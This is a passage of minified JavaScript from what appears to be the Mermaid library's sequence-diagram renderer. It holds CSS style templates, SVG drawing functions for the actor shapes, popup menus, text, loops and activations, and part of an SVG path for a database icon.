stroke-dasharray: 2, 2; + stroke: ${t.labelBoxBorderColor}; + fill: ${t.labelBoxBorderColor}; + } + + .note { + //stroke: #decc93; + stroke: ${t.noteBorderColor}; + fill: ${t.noteBkgColor}; + } + + .noteText, .noteText > tspan { + fill: ${t.noteTextColor}; + stroke: none; + } + + .activation0 { + fill: ${t.activationBkgColor}; + stroke: ${t.activationBorderColor}; + } + + .activation1 { + fill: ${t.activationBkgColor}; + stroke: ${t.activationBorderColor}; + } + + .activation2 { + fill: ${t.activationBkgColor}; + stroke: ${t.activationBorderColor}; + } + + .actorPopupMenu { + position: absolute; + } + + .actorPopupMenuPanel { + position: absolute; + fill: ${t.actorBkg}; + box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2); + filter: drop-shadow(3px 5px 2px rgb(0 0 0 / 0.4)); +} + .actor-man line { + stroke: ${t.actorBorder}; + fill: ${t.actorBkg}; + } + .actor-man circle, line { + stroke: ${t.actorBorder}; + fill: ${t.actorBkg}; + stroke-width: 2px; + } + +`,"getStyles"),Oye=QZe});var t$,Yf,jf,Kf,eC,Xf,T4,ZZe,tC,w4,o0,Bye,Fr,r$,JZe,eJe,tJe,rJe,nJe,iJe,aJe,sJe,oJe,lJe,cJe,uJe,hJe,Fye,fJe,dJe,pJe,mJe,gJe,yJe,vJe,$ye,xJe,oh,bJe,mi,zye=N(()=>{"use strict";t$=ja(tm(),1);qn();tr();gr();r2();Yf=36,jf="actor-top",Kf="actor-bottom",eC="actor-box",Xf="actor-man",T4=o(function(t,e){return Fd(t,e)},"drawRect"),ZZe=o(function(t,e,r,n,i){if(e.links===void 0||e.links===null||Object.keys(e.links).length===0)return{height:0,width:0};let a=e.links,s=e.actorCnt,l=e.rectData;var u="none";i&&(u="block !important");let h=t.append("g");h.attr("id","actor"+s+"_popup"),h.attr("class","actorPopupMenu"),h.attr("display",u);var f="";l.class!==void 0&&(f=" "+l.class);let d=l.width>r?l.width:r,p=h.append("rect");if(p.attr("class","actorPopupMenuPanel"+f),p.attr("x",l.x),p.attr("y",l.height),p.attr("fill",l.fill),p.attr("stroke",l.stroke),p.attr("width",d),p.attr("height",l.height),p.attr("rx",l.rx),p.attr("ry",l.ry),a!=null){var m=20;for(let v in a){var g=h.append("a"),y=(0,t$.sanitizeUrl)(a[v]);g.attr("xlink:href",y),g.attr("target","_blank"),bJe(n)(v,g,l.x+10,l.height+m,d,20,{class:"actor"},n),m+=30}}return p.attr("height",m),{height:l.height+m,width:d}},"drawPopup"),tC=o(function(t){return"var pu = document.getElementById('"+t+"'); if (pu != null) { pu.style.display = pu.style.display == 'block' ? 'none' : 'block'; }"},"popupMenuToggle"),w4=o(async function(t,e,r=null){let n=t.append("foreignObject"),i=await kh(e.text,Qt()),s=n.append("xhtml:div").attr("style","width: fit-content;").attr("xmlns","http://www.w3.org/1999/xhtml").html(i).node().getBoundingClientRect();if(n.attr("height",Math.round(s.height)).attr("width",Math.round(s.width)),e.class==="noteText"){let l=t.node().firstChild;l.setAttribute("height",s.height+2*e.textMargin);let u=l.getBBox();n.attr("x",Math.round(u.x+u.width/2-s.width/2)).attr("y",Math.round(u.y+u.height/2-s.height/2))}else if(r){let{startx:l,stopx:u,starty:h}=r;if(l>u){let f=l;l=u,u=f}n.attr("x",Math.round(l+Math.abs(l-u)/2-s.width/2)),e.class==="loopText"?n.attr("y",Math.round(h)):n.attr("y",Math.round(h-s.height))}return[n]},"drawKatex"),o0=o(function(t,e){let r=0,n=0,i=e.text.split(tt.lineBreakRegex),[a,s]=vc(e.fontSize),l=[],u=0,h=o(()=>e.y,"yfunc");if(e.valign!==void 0&&e.textMargin!==void 0&&e.textMargin>0)switch(e.valign){case"top":case"start":h=o(()=>Math.round(e.y+e.textMargin),"yfunc");break;case"middle":case"center":h=o(()=>Math.round(e.y+(r+n+e.textMargin)/2),"yfunc");break;case"bottom":case"end":h=o(()=>Math.round(e.y+(r+n+2*e.textMargin)-e.textMargin),"yfunc");break}if(e.anchor!==void 0&&e.textMargin!==void 0&&e.width!==void 0)switch(e.anchor){case"left":case"start":e.x=Math.round(e.x+e.textMargin),e.anchor="start",e.dominantBaseline="middle",e.alignmentBaseline="middle";break;case"middle":case"center":e.x=Math.round(e.x+e.width/2),e.anchor="middle",e.dominantBaseline="middle",e.alignmentBaseline="middle";break;case"right":case"end":e.x=Math.round(e.x+e.width-e.textMargin),e.anchor="end",e.dominantBaseline="middle",e.alignmentBaseline="middle";break}for(let[f,d]of i.entries()){e.textMargin!==void 0&&e.textMargin===0&&a!==void 0&&(u=f*a);let p=t.append("text");p.attr("x",e.x),p.attr("y",h()),e.anchor!==void 0&&p.attr("text-anchor",e.anchor).attr("dominant-baseline",e.dominantBaseline).attr("alignment-baseline",e.alignmentBaseline),e.fontFamily!==void 0&&p.style("font-family",e.fontFamily),s!==void 0&&p.style("font-size",s),e.fontWeight!==void 0&&p.style("font-weight",e.fontWeight),e.fill!==void 0&&p.attr("fill",e.fill),e.class!==void 0&&p.attr("class",e.class),e.dy!==void 0?p.attr("dy",e.dy):u!==0&&p.attr("dy",u);let m=d||BL;if(e.tspan){let g=p.append("tspan");g.attr("x",e.x),e.fill!==void 0&&g.attr("fill",e.fill),g.text(m)}else p.text(m);e.valign!==void 0&&e.textMargin!==void 0&&e.textMargin>0&&(n+=(p._groups||p)[0][0].getBBox().height,r=n),l.push(p)}return l},"drawText"),Bye=o(function(t,e){function r(i,a,s,l,u){return i+","+a+" "+(i+s)+","+a+" "+(i+s)+","+(a+l-u)+" "+(i+s-u*1.2)+","+(a+l)+" "+i+","+(a+l)}o(r,"genPoints");let n=t.append("polygon");return n.attr("points",r(e.x,e.y,e.width,e.height,7)),n.attr("class","labelBox"),e.y=e.y+e.height/2,o0(t,e),n},"drawLabel"),Fr=-1,r$=o((t,e,r,n)=>{t.select&&r.forEach(i=>{let a=e.get(i),s=t.select("#actor"+a.actorCnt);!n.mirrorActors&&a.stopy?s.attr("y2",a.stopy+a.height/2):n.mirrorActors&&s.attr("y2",a.stopy)})},"fixLifeLineHeights"),JZe=o(function(t,e,r,n){let i=n?e.stopy:e.starty,a=e.x+e.width/2,s=i+e.height,l=t.append("g").lower();var u=l;n||(Fr++,Object.keys(e.links||{}).length&&!r.forceMenus&&u.attr("onclick",tC(`actor${Fr}_popup`)).attr("cursor","pointer"),u.append("line").attr("id","actor"+Fr).attr("x1",a).attr("y1",s).attr("x2",a).attr("y2",2e3).attr("class","actor-line 200").attr("stroke-width","0.5px").attr("stroke","#999").attr("name",e.name),u=l.append("g"),e.actorCnt=Fr,e.links!=null&&u.attr("id","root-"+Fr));let h=ua();var f="actor";e.properties?.class?f=e.properties.class:h.fill="#eaeaea",n?f+=` ${Kf}`:f+=` ${jf}`,h.x=e.x,h.y=i,h.width=e.width,h.height=e.height,h.class=f,h.rx=3,h.ry=3,h.name=e.name;let d=T4(u,h);if(e.rectData=h,e.properties?.icon){let m=e.properties.icon.trim();m.charAt(0)==="@"?lT(u,h.x+h.width-20,h.y+10,m.substr(1)):oT(u,h.x+h.width-20,h.y+10,m)}oh(r,kn(e.description))(e.description,u,h.x,h.y,h.width,h.height,{class:`actor ${eC}`},r);let p=e.height;if(d.node){let m=d.node().getBBox();e.height=m.height,p=m.height}return p},"drawActorTypeParticipant"),eJe=o(function(t,e,r,n){let i=n?e.stopy:e.starty,a=e.x+e.width/2,s=i+e.height,l=t.append("g").lower();var u=l;n||(Fr++,Object.keys(e.links||{}).length&&!r.forceMenus&&u.attr("onclick",tC(`actor${Fr}_popup`)).attr("cursor","pointer"),u.append("line").attr("id","actor"+Fr).attr("x1",a).attr("y1",s).attr("x2",a).attr("y2",2e3).attr("class","actor-line 200").attr("stroke-width","0.5px").attr("stroke","#999").attr("name",e.name),u=l.append("g"),e.actorCnt=Fr,e.links!=null&&u.attr("id","root-"+Fr));let h=ua();var f="actor";e.properties?.class?f=e.properties.class:h.fill="#eaeaea",n?f+=` ${Kf}`:f+=` ${jf}`,h.x=e.x,h.y=i,h.width=e.width,h.height=e.height,h.class=f,h.name=e.name;let d=6,p={...h,x:h.x+-d,y:h.y+ +d,class:"actor"},m=T4(u,h);if(T4(u,p),e.rectData=h,e.properties?.icon){let y=e.properties.icon.trim();y.charAt(0)==="@"?lT(u,h.x+h.width-20,h.y+10,y.substr(1)):oT(u,h.x+h.width-20,h.y+10,y)}oh(r,kn(e.description))(e.description,u,h.x-d,h.y+d,h.width,h.height,{class:`actor ${eC}`},r);let g=e.height;if(m.node){let y=m.node().getBBox();e.height=y.height,g=y.height}return g},"drawActorTypeCollections"),tJe=o(function(t,e,r,n){let i=n?e.stopy:e.starty,a=e.x+e.width/2,s=i+e.height,l=t.append("g").lower(),u=l;n||(Fr++,Object.keys(e.links||{}).length&&!r.forceMenus&&u.attr("onclick",tC(`actor${Fr}_popup`)).attr("cursor","pointer"),u.append("line").attr("id","actor"+Fr).attr("x1",a).attr("y1",s).attr("x2",a).attr("y2",2e3).attr("class","actor-line 200").attr("stroke-width","0.5px").attr("stroke","#999").attr("name",e.name),u=l.append("g"),e.actorCnt=Fr,e.links!=null&&u.attr("id","root-"+Fr));let h=ua(),f="actor";e.properties?.class?f=e.properties.class:h.fill="#eaeaea",n?f+=` ${Kf}`:f+=` ${jf}`,h.x=e.x,h.y=i,h.width=e.width,h.height=e.height,h.class=f,h.name=e.name;let d=h.height/2,p=d/(2.5+h.height/50),m=u.append("g"),g=u.append("g");if(m.append("path").attr("d",`M ${h.x},${h.y+d} + a ${p},${d} 0 0 0 0,${h.height} + h ${h.width-2*p} + a ${p},${d} 0 0 0 0,-${h.height} + Z + `).attr("class",f),g.append("path").attr("d",`M ${h.x},${h.y+d} + a ${p},${d} 0 0 0 0,${h.height}`).attr("stroke","#666").attr("stroke-width","1px").attr("class",f),m.attr("transform",`translate(${p}, ${-(h.height/2)})`),g.attr("transform",`translate(${h.width-p}, ${-h.height/2})`),e.rectData=h,e.properties?.icon){let x=e.properties.icon.trim(),b=h.x+h.width-20,T=h.y+10;x.charAt(0)==="@"?lT(u,b,T,x.substr(1)):oT(u,b,T,x)}oh(r,kn(e.description))(e.description,u,h.x,h.y,h.width,h.height,{class:`actor ${eC}`},r);let y=e.height,v=m.select("path:last-child");if(v.node()){let x=v.node().getBBox();e.height=x.height,y=x.height}return y},"drawActorTypeQueue"),rJe=o(function(t,e,r,n){let i=n?e.stopy:e.starty,a=e.x+e.width/2,s=i+75,l=t.append("g").lower();n||(Fr++,l.append("line").attr("id","actor"+Fr).attr("x1",a).attr("y1",s).attr("x2",a).attr("y2",2e3).attr("class","actor-line 200").attr("stroke-width","0.5px").attr("stroke","#999").attr("name",e.name),e.actorCnt=Fr);let u=t.append("g"),h=Xf;n?h+=` ${Kf}`:h+=` ${jf}`,u.attr("class",h),u.attr("name",e.name);let f=ua();f.x=e.x,f.y=i,f.fill="#eaeaea",f.width=e.width,f.height=e.height,f.class="actor";let d=e.x+e.width/2,p=i+30,m=18;u.append("defs").append("marker").attr("id","filled-head-control").attr("refX",11).attr("refY",5.8).attr("markerWidth",20).attr("markerHeight",28).attr("orient","172.5").append("path").attr("d","M 14.4 5.6 L 7.2 10.4 L 8.8 5.6 L 7.2 0.8 Z"),u.append("circle").attr("cx",d).attr("cy",p).attr("r",m).attr("fill","#eaeaf7").attr("stroke","#666").attr("stroke-width",1.2),u.append("line").attr("marker-end","url(#filled-head-control)").attr("transform",`translate(${d}, ${p-m})`);let g=u.node().getBBox();return e.height=g.height+2*(r?.sequence?.labelBoxHeight??0),oh(r,kn(e.description))(e.description,u,f.x,f.y+m+(n?5:10),f.width,f.height,{class:`actor ${Xf}`},r),e.height},"drawActorTypeControl"),nJe=o(function(t,e,r,n){let i=n?e.stopy:e.starty,a=e.x+e.width/2,s=i+75,l=t.append("g").lower(),u=t.append("g"),h=Xf;n?h+=` ${Kf}`:h+=` ${jf}`,u.attr("class",h),u.attr("name",e.name);let f=ua();f.x=e.x,f.y=i,f.fill="#eaeaea",f.width=e.width,f.height=e.height,f.class="actor";let d=e.x+e.width/2,p=i+(n?10:25),m=18;u.append("circle").attr("cx",d).attr("cy",p).attr("r",m).attr("width",e.width).attr("height",e.height),u.append("line").attr("x1",d-m).attr("x2",d+m).attr("y1",p+m).attr("y2",p+m).attr("stroke","#333").attr("stroke-width",2);let g=u.node().getBBox();return e.height=g.height+(r?.sequence?.labelBoxHeight??0),n||(Fr++,l.append("line").attr("id","actor"+Fr).attr("x1",a).attr("y1",s).attr("x2",a).attr("y2",2e3).attr("class","actor-line 200").attr("stroke-width","0.5px").attr("stroke","#999").attr("name",e.name),e.actorCnt=Fr),oh(r,kn(e.description))(e.description,u,f.x,f.y+(n?(p-i+m-5)/2:(p+m-i)/2),f.width,f.height,{class:`actor ${Xf}`},r),n?u.attr("transform",`translate(0, ${m/2})`):u.attr("transform",`translate(0, ${m/2})`),e.height},"drawActorTypeEntity"),iJe=o(function(t,e,r,n){let i=n?e.stopy:e.starty,a=e.x+e.width/2,s=i+e.height+2*r.boxTextMargin,l=t.append("g").lower(),u=l;n||(Fr++,Object.keys(e.links||{}).length&&!r.forceMenus&&u.attr("onclick",tC(`actor${Fr}_popup`)).attr("cursor","pointer"),u.append("line").attr("id","actor"+Fr).attr("x1",a).attr("y1",s).attr("x2",a).attr("y2",2e3).attr("class","actor-line 200").attr("stroke-width","0.5px").attr("stroke","#999").attr("name",e.name),u=l.append("g"),e.actorCnt=Fr,e.links!=null&&u.attr("id","root-"+Fr));let h=ua(),f="actor";e.properties?.class?f=e.properties.class:h.fill="#eaeaea",n?f+=` ${Kf}`:f+=` ${jf}`,h.x=e.x,h.y=i,h.width=e.width,h.height=e.height,h.class=f,h.name=e.name,h.x=e.x,h.y=i;let d=h.width/4,p=h.width/4,m=d/2,g=m/(2.5+d/50),y=u.append("g"),v=` + M ${h.x},${h.y+g} + a ${m},${g} 0 0 0 ${d},0 + a ${m},${g} 0 0 0 -${d},0 + l 0,${p-2*g} + a ${m},${g} 0 0 0 ${d},0 + l 0,-${p-2*g} +`;y.append("path").attr("d",v).attr("fill","#eaeaea").attr("stroke","#000").attr("stroke-width",1).attr("class",f),n?y.attr("transform",`translate(${d*1.5}, ${h.height/4-2*g})`):y.attr("transform",`translate(${d*1.5}, ${(h.height+g)/4})`),e.rectData=h,oh(r,kn(e.description))(e.description,u,h.x,h.y+(n?(h.height+p)/4:(h.height+g)/2),h.width,h.height,{class:`actor ${eC}`},r);let x=y.select("path:last-child");if(x.node()){let b=x.node().getBBox();e.height=b.height+(r.sequence.labelBoxHeight??0)}return e.height},"drawActorTypeDatabase"),aJe=o(function(t,e,r,n){let i=n?e.stopy:e.starty,a=e.x+e.width/2,s=i+80,l=30,u=t.append("g").lower();n||(Fr++,u.append("line").attr("id","actor"+Fr).attr("x1",a).attr("y1",s).attr("x2",a).attr("y2",2e3).attr("class","actor-line 200").attr("stroke-width","0.5px").attr("stroke","#999").attr("name",e.name),e.actorCnt=Fr);let h=t.append("g"),f=Xf;n?f+=` ${Kf}`:f+=` ${jf}`,h.attr("class",f),h.attr("name",e.name);let d=ua();d.x=e.x,d.y=i,d.fill="#eaeaea",d.width=e.width,d.height=e.height,d.class="actor",h.append("line").attr("id","actor-man-torso"+Fr).attr("x1",e.x+e.width/2-l*2.5).attr("y1",i+10).attr("x2",e.x+e.width/2-15).attr("y2",i+10),h.append("line").attr("id","actor-man-arms"+Fr).attr("x1",e.x+e.width/2-l*2.5).attr("y1",i+0).attr("x2",e.x+e.width/2-l*2.5).attr("y2",i+20),h.append("circle").attr("cx",e.x+e.width/2).attr("cy",i+10).attr("r",l);let p=h.node().getBBox();return e.height=p.height+(r.sequence.labelBoxHeight??0),oh(r,kn(e.description))(e.description,h,d.x,d.y+(n?l/2-4:l/2+3),d.width,d.height,{class:`actor ${Xf}`},r),n?h.attr("transform",`translate(0,${l/2+7})`):h.attr("transform",`translate(0,${l/2+7})`),e.height},"drawActorTypeBoundary"),sJe=o(function(t,e,r,n){let i=n?e.stopy:e.starty,a=e.x+e.width/2,s=i+80,l=t.append("g").lower();n||(Fr++,l.append("line").attr("id","actor"+Fr).attr("x1",a).attr("y1",s).attr("x2",a).attr("y2",2e3).attr("class","actor-line 200").attr("stroke-width","0.5px").attr("stroke","#999").attr("name",e.name),e.actorCnt=Fr);let u=t.append("g"),h=Xf;n?h+=` ${Kf}`:h+=` ${jf}`,u.attr("class",h),u.attr("name",e.name);let f=ua();f.x=e.x,f.y=i,f.fill="#eaeaea",f.width=e.width,f.height=e.height,f.class="actor",f.rx=3,f.ry=3,u.append("line").attr("id","actor-man-torso"+Fr).attr("x1",a).attr("y1",i+25).attr("x2",a).attr("y2",i+45),u.append("line").attr("id","actor-man-arms"+Fr).attr("x1",a-Yf/2).attr("y1",i+33).attr("x2",a+Yf/2).attr("y2",i+33),u.append("line").attr("x1",a-Yf/2).attr("y1",i+60).attr("x2",a).attr("y2",i+45),u.append("line").attr("x1",a).attr("y1",i+45).attr("x2",a+Yf/2-2).attr("y2",i+60);let d=u.append("circle");d.attr("cx",e.x+e.width/2),d.attr("cy",i+10),d.attr("r",15),d.attr("width",e.width),d.attr("height",e.height);let p=u.node().getBBox();return e.height=p.height,oh(r,kn(e.description))(e.description,u,f.x,f.y+35,f.width,f.height,{class:`actor ${Xf}`},r),e.height},"drawActorTypeActor"),oJe=o(async function(t,e,r,n){switch(e.type){case"actor":return await sJe(t,e,r,n);case"participant":return await JZe(t,e,r,n);case"boundary":return await aJe(t,e,r,n);case"control":return await rJe(t,e,r,n);case"entity":return await nJe(t,e,r,n);case"database":return await iJe(t,e,r,n);case"collections":return await eJe(t,e,r,n);case"queue":return await tJe(t,e,r,n)}},"drawActor"),lJe=o(function(t,e,r){let i=t.append("g");Fye(i,e),e.name&&oh(r)(e.name,i,e.x,e.y+r.boxTextMargin+(e.textMaxHeight||0)/2,e.width,0,{class:"text"},r),i.lower()},"drawBox"),cJe=o(function(t){return t.append("g")},"anchorElement"),uJe=o(function(t,e,r,n,i){let a=ua(),s=e.anchored;a.x=e.startx,a.y=e.starty,a.class="activation"+i%3,a.width=e.stopx-e.startx,a.height=r-e.starty,T4(s,a)},"drawActivation"),hJe=o(async function(t,e,r,n){let{boxMargin:i,boxTextMargin:a,labelBoxHeight:s,labelBoxWidth:l,messageFontFamily:u,messageFontSize:h,messageFontWeight:f}=n,d=t.append("g"),p=o(function(y,v,x,b){return d.append("line").attr("x1",y).attr("y1",v).attr("x2",x).attr("y2",b).attr("class","loopLine")},"drawLoopLine");p(e.startx,e.starty,e.stopx,e.starty),p(e.stopx,e.starty,e.stopx,e.stopy),p(e.startx,e.stopy,e.stopx,e.stopy),p(e.startx,e.starty,e.startx,e.stopy),e.sections!==void 0&&e.sections.forEach(function(y){p(e.startx,y.y,e.stopx,y.y).style("stroke-dasharray","3, 3")});let m=t2();m.text=r,m.x=e.startx,m.y=e.starty,m.fontFamily=u,m.fontSize=h,m.fontWeight=f,m.anchor="middle",m.valign="middle",m.tspan=!1,m.width=l||50,m.height=s||20,m.textMargin=a,m.class="labelText",Bye(d,m),m=$ye(),m.text=e.title,m.x=e.startx+l/2+(e.stopx-e.startx)/2,m.y=e.starty+i+a,m.anchor="middle",m.valign="middle",m.textMargin=a,m.class="loopText",m.fontFamily=u,m.fontSize=h,m.fontWeight=f,m.wrap=!0;let g=kn(m.text)?await w4(d,m,e):o0(d,m);if(e.sectionTitles!==void 0){for(let[y,v]of Object.entries(e.sectionTitles))if(v.message){m.text=v.message,m.x=e.startx+(e.stopx-e.startx)/2,m.y=e.sections[y].y+i+a,m.class="loopText",m.anchor="middle",m.valign="middle",m.tspan=!1,m.fontFamily=u,m.fontSize=h,m.fontWeight=f,m.wrap=e.wrap,kn(m.text)?(e.starty=e.sections[y].y,await w4(d,m,e)):o0(d,m);let x=Math.round(g.map(b=>(b._groups||b)[0][0].getBBox().height).reduce((b,T)=>b+T));e.sections[y].height+=x-(i+a)}}return e.height=Math.round(e.stopy-e.starty),d},"drawLoop"),Fye=o(function(t,e){sT(t,e)},"drawBackgroundRect"),fJe=o(function(t){t.append("defs").append("symbol").attr("id","database").attr("fill-rule","evenodd").attr("clip-rule","evenodd").append("path").attr("transform","scale(.5)").attr("d","M12.258.001l.256.004.255.005.253.008.251.01.249.012.247.015.246.016.242.019.241.02.239.023.236.024.233.027.231.028.229.031.225.032.223.034.22.036.217.038.214.04.211.041.208.043.205.045.201.046.198.048.194.05.191.051.187.053.183.054.18.056.175.057.172.059.168.06.163.061.16.063.155.064.15.066.074.033.073.033.071.034.07.034.069.035.068.035.067.035.066.035.064.036.064.036.062.036.06.036.06.037.058.037.058.037.055.038.055.038.053.038.052.038.051.039.05.039.048.039.047.039.045.04.044.04.043.04.041.04.04.041.039.041.037.041.036.041.034.041.033.042.032.042.03.042.029.042.027.042.026.043.024.043.023.043.021.043.02.043.018.044.017.043.015.044.013.044.012.044.011.045.009.044.007.045.006.045.004.045.002.045.001.045v17l-.001.045-.002.045-.004.045-.006.045-.007.045-.009.044-.011.045-.012.044-.013.044-.015.044-.017.043-.018.044-.02.043-.021.043-.023.043-.024.043-.026.043-.027.042-.029.042-.03.042-.032.042-.033.042-.034.041-.036.041-.037.041-.039.041-.04.041-.041.04-.043.04-.044.04-.045.04-.047.039-.048.039-.05.039-.051.039-.052.038-.053.038-.055.038-.055.038-.058.037-.058.037-.06.037-.06.036-.062.036-.064.036-.064.036-.066.035-.067.035-.068.035-.069.035-.07.034-.071.034-.073.033-.074.033-.15.066-.155.064-.16.063-.163.061-.168.06-.172.059-.175.057-.18.056-.183.054-.187.053-.191.051-.194.05-.198.048-.201.046-.205.045-.208.043-.211.041-.214.04-.217.038-.22.036-.223.034-.225.032-.229.031-.231.028-.233.027-.236.024-.239.023-.241.02-.242.019-.246.016-.247.015-.249.012-.251.01-.253.008-.255.005-.256.004-.258.001-.258-.001-.256-.004-.255-.005-.253-.008-.251-.01-.249-.012-.247-.015-.245-.016-.243-.019-.241-.02-.238-.023-.236-.024-.234-.027-.231-.028-.228-.031-.226-.032-.223-.034-.22-.036-.217-.038-.214-.04-.211-.041-.208-.043-.204-.045-.201-.046-.198-.048-.195-.05-.19-.051-.187-.053-.184-.054-.179-.056-.176-.057-.172-.059-.167-.06-.164-.061-.159-.063-.155-.064-.151-.066-.074-.033-.072-.033-.072-.034-.07-.034-.069-.035-.068-.035-.067-.035-.066-.035-.064-.036-.063-.036-.062-.036-.061-.036-.06-.037-.058-.037-.057-.037-.056-.038-.055-.038-.053-.038-.052-.038-.051-.039-.049-.039-.049-.039-.046-.039-.046-.04-.044-.04-.043-.04-.041-.04-.04-.041-.039-.041-.037-.041-.036-.041-.034-.041-.033-.042-.032-.042-.03-.042-.029-.042-.027-.042-.026-.043-.024-.043-.023-.043-.021-.043-.02-.043-.018-.044-.017-.043-.015-.044-.013-.044-.012-.044-.011-.045-.009-.044-.007-.045-.006-.045-.004-.045-.002-.045-.001-.045v-17l.001-.045.002-.045.004-.045.006-.045.007-.045.009-.044.011-.045.012-.044.013-.044.015-.044.017-.043.018-.044.02-.043.021-.043.023-.043.024-.043.026-.043.027-.042.029-.042.03-.042.032-.042.033-.042.034-.041.036-.041.037-.041.039-.041.04-.041.041-.04.043-.04.044-.04.046-.04.046-.039.049-.039.049-.039.051-.039.052-.038.053-.038.055-.038.056-.038.057-.037.058-.037.06-.037.061-.036.062-.036.063-.036.064-.036.066-.035.067-.035.068-.035.069-.035.07-.034.072-.034.072-.033.074-.033.151-.066.155-.064.159-.063.164-.061.167-.06.172-.059.176-.057.179-.056.184-.054.187-.053.19-.051.195-.05.198-.048.201-.046.204-.045.208-.043.211-.041.214-.04.217-.038.22-.036.223-.034.226-.032.228-.031.231-.028.234-.027.236-.024.238-.023.241-.02.243-.019.245-.016.247-.015.249-.012.251-.01.253-.008.255-.005.256-.004.258-.001.258.001zm-9.258 20.499v.01l.001.021.003.021.004.022.005.021.006.022.007.022.009.023.01.022.011.023.012.023.013.023.015.023.016.024.017.023.018.024.019.024.021.024.022.025.023.024.024.025.052.049.056.05.061.051.066.051.07.051.075.051.079.052.084.052.088.052.092.052.097.052.102.051.105.052.11.052.114.051.119.051.123.051.127.05.131.05.135.05.139.048.144.049.147.047.152.047.155.047.16.045.163.045.167.043.171.043.176.041.178.041.183.039.187.039.19.037.194.035.197.035.202.033.204.031.209.03.212.029.216.027.219.025.222.024.226.021.23.02.233.018.236.016.24.015.243.012.246.01.249.008.253.005.256.004.259.001.26-.001.257-.004.254-.005.25-.008.247-.011.244-.012.241-.014.237-.016.233-.018.231-.021.226-.021.224-.024.22-.026.216-.027.212-.028.21-.031.205-.031.202-.034.198-.034.194-.036.191-.037.187-.039.183-.04.179-.04.175-.042.172-.043.168-.044.163-.045.16-.046.155-.046.152-.047.148-.048.143-.049.139-.049.136-.05.131-.05.126-.05.123-.051.118-.052.114-.051.11-.052.106-.052.101-.052.096-.052.092-.052.088-.053.083-.051.079-.052.074-.052.07-.051.065-.051.06-.051.056-.05.051-.05.023-.024.023-.025.021-.024.02-.024.019-.024.018-.024.017-.024.015-.023.014-.024.013-.023.012-.023.01-.023.01-.022.008-.022.006-.022.006-.022.004-.022.004-.021.001-.021.001-.021v-4.127l-.077.055-.08.053-.083.054-.085.053-.087.052-.09.052-.093.051-.095.05-.097.05-.1.049-.102.049-.105.048-.106.047-.109.047-.111.046-.114.045-.115.045-.118.044-.12.043-.122.042-.124.042-.126.041-.128.04-.13.04-.132.038-.134.038-.135.037-.138.037-.139.035-.142.035-.143.034-.144.033-.147.032-.148.031-.15.03-.151.03-.153.029-.154.027-.156.027-.158.026-.159.025-.161.024-.162.023-.163.022-.165.021-.166.02-.167.019-.169.018-.169.017-.171.016-.173.015-.173.014-.175.013-.175.012-.177.011-.178.01-.179.008-.179.008-.181.006-.182.005-.182.004-.184.003-.184.002h-.37l-.184-.002-.184-.003-.182-.004-.182-.005-.181-.006-.179-.008-.179-.008-.178-.01-.176-.011-.176-.012-.175-.013-.173-.014-.172-.015-.171-.016-.17-.017-.169-.018-.167-.019-.166-.02-.165-.021-.163-.022-.162-.023-.161-.024-.159-.025-.157-.026-.156-.027-.155-.027-.153-.029-.151-.03-.15-.03-.148-.031-.146-.032-.145-.033-.143-.034-.141-.035-.14-.035-.137-.037-.136-.037-.134-.038-.132-.038-.13-.04-.128-.04-.126-.041-.124-.042-.122-.042-.12-.044-.117-.043-.116-.045-.113-.045-.112-.046-.109-.047-.106-.047-.105-.048-.102-.049-.1-.049-.097-.05-.095-.05-.093-.052-.09-.051-.087-.052-.085-.053-.083-.054-.08-.054-.077-.054v4.127zm0-5.654v.011l.001.021.003.021.004.021.005.022.006.022.007.022.009.022.01.022.011.023.012.023.013.023.015.024.016.023.017.024.018.024.019.024.021.024.022.024.023.025.024.024.052.05.056.05.061.05.066.051.07.051.075.052.079.051.084.052.088.052.092.052.097.052.102.052.105.052.11.051.114.051.119.052.123.05.127.051.131.05.135.049.139.049.144.048.147.048.152.047.155.046.16.045.163.045.167.044.171.042.176.042.178.04.183.04.187.038.19.037.194.036.197.034.202.033.204.032.209.03.212.028.216.027.219.025.222.024.226.022.23.02.233.018.236.016.24.014.243.012.246.01.249.008.253.006.256.003.259.001.26-.001.257-.003.254-.006.25-.008.247-.01.244-.012.241-.015.237-.016.233-.018.231-.02.226-.022.224-.024.22-.025.216-.027.212-.029.21-.03.205-.032.202-.033.198-.035.194-.036.191-.037.187-.039.183-.039.179-.041.175-.042.172-.043.168-.044.163-.045.16-.045.155-.047.152-.047.148-.048.143-.048.139-.05.136-.049.131-.05.126-.051.123-.051.118-.051.114-.052.11-.052.106-.052.101-.052.096-.052.092-.052.088-.052.083-.052.079-.052.074-.051.07-.052.065-.051.06-.05.056-.051.051-.049.023-.025.023-.024.021-.025.02-.024.019-.024.018-.024.017-.024.015-.023.014-.023.013-.024.012-.022.01-.023.01-.023.008-.022.006-.022.006-.022.004-.021.004-.022.001-.021.001-.021v-4.139l-.077.054-.08.054-.083.054-.085.052-.087.053-.09.051-.093.051-.095.051-.097.05-.1.049-.102.049-.105.048-.106.047-.109.047-.111.046-.114.045-.115.044-.118.044-.12.044-.122.042-.124.042-.126.041-.128.04-.13.039-.132.039-.134.038-.135.037-.138.036-.139.036-.142.035-.143.033-.144.033-.147.033-.148.031-.15.03-.151.03-.153.028-.154.028-.156.027-.158.026-.159.025-.161.024-.162.023-.163.022-.165.021-.166.02-.167.019-.169.018-.169.017-.171.016-.173.015-.173.014-.175.013-.175.012-.177.011-.178.009-.179.009-.179.007-.181.007-.182.005-.182.004-.184.003-.184.002h-.37l-.184-.002-.184-.003-.182-.004-.182-.005-.181-.007-.179-.007-.179-.009-.178-.009-.176-.011-.176-.012-.175-.013-.173-.014-.172-.015-.171-.016-.17-.017-.169-.018-.167-.019-.166-.02-.165-.021-.163-.022-.162-.023-.161-.024-.159-.025-.157-.026-.156-.027-.155-.028-.153-.028-.151-.03-.15-.03-.148-.031-.146-.033-.145-.033-.143-.033-.141-.035-.14-.036-.137-.036-.136-.037-.134-.038-.132-.039-.13-.039-.128-.04-.126-.041-.124-.042-.122-.043-.12-.043-.117-.044-.116-.044-.113-.046-.112-.046-.109-.046-.106-.047-.105-.048-.102-.049-.1-.049-.097-.05-.095-.051-.093-.051-.09-.051-.087-.053-.085-.052-.083-.054-.08-.054-.077-.054v4.139zm0-5.666v.011l.001.02.003.022.004.021.005.022.006.021.007.022.009.023.01.022.011.023.012.023.013.023.015.023.016.024.017.024.018.023.019.024.021.025.022.024.023.024.024.025.052.05.056.05.061.05.066.051.07.051.075.052.079.051.084.052.088.052.092.052.097.052.102.052.105.051.11.052.114.051.119.051.123.051.127.05.131.05.135.05.139.049.144.048.147.0